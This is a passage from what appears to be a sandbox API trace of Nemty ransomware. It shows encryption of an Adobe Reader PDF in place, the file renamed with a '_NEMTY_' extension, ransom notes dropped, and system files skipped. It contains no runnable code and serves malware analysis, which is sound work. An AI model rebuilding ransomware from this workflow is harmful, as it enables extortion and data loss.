pdwDataLen=0x653df60*=0x100) returned 1 [0189.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.554] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.554] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="doKes02QDbaz6MZCqCvrSo8bOQE19SvWICoXQmQmjgR1okRSqby2ss66kwOzQtIu\r\nLUubtY5sDcK6d4JRrncxuanVTRnamFrBd9eEaKixweTbiqeVtX3MxBHGR0B0TnGM\r\n3alhgYRHe/2U5sLcLQZN9XdWuf0tQVfS61bNGV1Mspro/r+wWT8dxdfNIMa+Q9I6\r\nXjse066msrOQv7l7+dzwrcyo4l1uYkjtVIB9R33BYng9I+mVl9lWBBw+vaPnWjsa\r\n70X4Atu0To+aKX1icCoCeRwO9qCUrOAlA1Rzl+pkOtWiFLtR2ycPFq/TNNMdz7/d\r\nt5MINSl7fBn1JWhUI2xhPQ==\r\n", pcchString=0x653df5c) returned 1 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.554] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.554] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=109646) returned 1 [0189.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.554] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.554] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.563] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.563] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.564] SetFilePointer (in: hFile=0x320, lDistanceToMove=109646, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ac4e [0189.564] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.564] CloseHandle (hObject=0x320) returned 1 [0189.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.564] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.565] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2492e010, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2492e010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2492e010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.565] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.566] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2492e010, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2492e010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2492e010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.567] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.567] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="SKY", cAlternateFileName="")) returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2=".") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="..") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="...") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="windows") returned -1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="$RECYCLE.BIN") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="rsa") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="NTDETECT.COM") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="ntldr") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="MSDOS.SYS") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="IO.SYS") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="boot.ini") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="AUTOEXEC.BAT") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="ntuser.dat") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="desktop.ini") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="CONFIG.SYS") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="RECYCLER") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="BOOTSECT.BAK") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="bootmgr") returned 1 [0189.567] lstrcmpiW (lpString1="SKY", lpString2="programdata") returned 1 [0189.568] lstrcmpiW (lpString1="SKY", lpString2="appdata") returned 1 [0189.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0189.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340338 [0189.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340250 [0189.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340430 [0189.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.574] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.574] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.575] CloseHandle (hObject=0x2f0) returned 1 [0189.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0189.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.576] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.577] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.578] CloseHandle (hObject=0x2f0) returned 1 [0189.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.578] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24a389b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24a389b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.578] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.578] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24a389b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24a389b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.578] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.578] lstrcmpiW 